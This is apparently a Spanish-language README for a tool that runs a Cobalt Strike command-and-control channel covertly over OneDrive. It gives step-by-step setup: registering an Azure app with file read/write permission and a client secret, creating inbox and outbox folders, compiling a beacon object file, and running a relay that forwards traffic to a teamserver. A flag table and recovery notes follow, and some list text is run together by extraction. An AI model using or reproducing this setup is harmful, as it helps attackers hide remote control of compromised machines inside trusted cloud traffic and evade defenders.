
OneDrive como transporte C2 encubierto para Cobalt Strike
Un canal C2 definido por el usuario de Cobalt Strike que utiliza OneDrive como capa de transporte.

Files.ReadWrite.All.En Azure Portal, ve a App registrations y crea una nueva aplicación:
Anota el tenant ID y el client ID de la página de resumen.
En API permissions:
Files.ReadWrite.All.En Certificates & secrets, crea un nuevo secreto y copia su valor.
En el OneDrive del usuario, crea dos carpetas, una para la bandeja de entrada y otra para la
bandeja de salida (por ejemplo, c2inbox y c2outbox).
Abre Graph Explorer, inicia sesión como ese usuario y ejecuta:
GET https://graph.microsoft.com/v1.0/me/drive/root/children
Toma el id de cada carpeta y el driveId de cualquier entrada en la respuesta JSON.
cp server/config.json.example server/config.json
Rellena server/config.json:
| Campo | Valor |
|---|---|
tenant_id | ID del inquilino de Microsoft Entra ID |
client_id | ID de cliente de la aplicación |
client_secret | Valor del secreto de cliente |
drive_id | ID de la unidad de OneDrive |
inbox_folder_id | ID de la carpeta de entrada |
outbox_folder_id | ID de la carpeta de salida |
Luego compila el cliente:
make
Inicia el relay (usa screen o tmux para que siga activo si tu terminal se desconecta):
python3 server/relay.py --config server/config.json --ts-addr <teamserver-ip> --ts-port <udc2-port>
En Cobalt Strike, crea un listener UDC2 en el mismo puerto y carga client/bof.o.
| Flag | Descripción |
|---|---|
--config | Ruta a config.json (obligatorio) |
--ts-addr | IP del teamserver |
--ts-port | Puerto del listener UDC2 |
--poll | Intervalo de sondeo en segundos (por defecto 2.0) |
--state | Ruta al archivo de estado (por defecto: <config>.state.json) |
--debug | Activar el registro de depuración |
--clean | Eliminar el archivo de estado y el directorio de spool, luego salir |
El relay crea algunos archivos junto a tu configuración para llevar un seguimiento de las cosas entre reinicios:
config.json.state.json) - rastrea qué archivos de la bandeja de entrada se han procesado, las subidas pendientes y la información de la sesión del beacon. Establece una ruta personalizada con --state.config.json.state.json.spool/) - contiene los datos de respuesta que aún no se han subido a OneDrive. Si el relay se bloquea a mitad de una subida, el spool conserva los datos para poder reintentarlo en el siguiente inicio.config.json.state.json.lock) - evita que dos instancias del relay se ejecuten contra el mismo estado. Si ves Another relay holds the lock y no hay otro relay en ejecución, el bloqueo es obsoleto debido a un fallo.Si el estado local del relay se corrompe o un bloqueo obsoleto impide el inicio, usa --clean para borrar el archivo de estado y el directorio de spool para que el relay empiece de cero:
python3 server/relay.py --config server/config.json --clean
El archivo de bloqueo se conserva. El relay no limpiará mientras haya otra instancia en ejecución. En el siguiente inicio normal se reinicializa y omite cualquier archivo de la bandeja de entrada con más de 30 minutos de antigüedad.
También puedes restablecerlo manualmente eliminando tú mismo el archivo de estado y el directorio de spool. Si el archivo de bloqueo es obsoleto (no hay ningún relay en ejecución), elimínalo también.
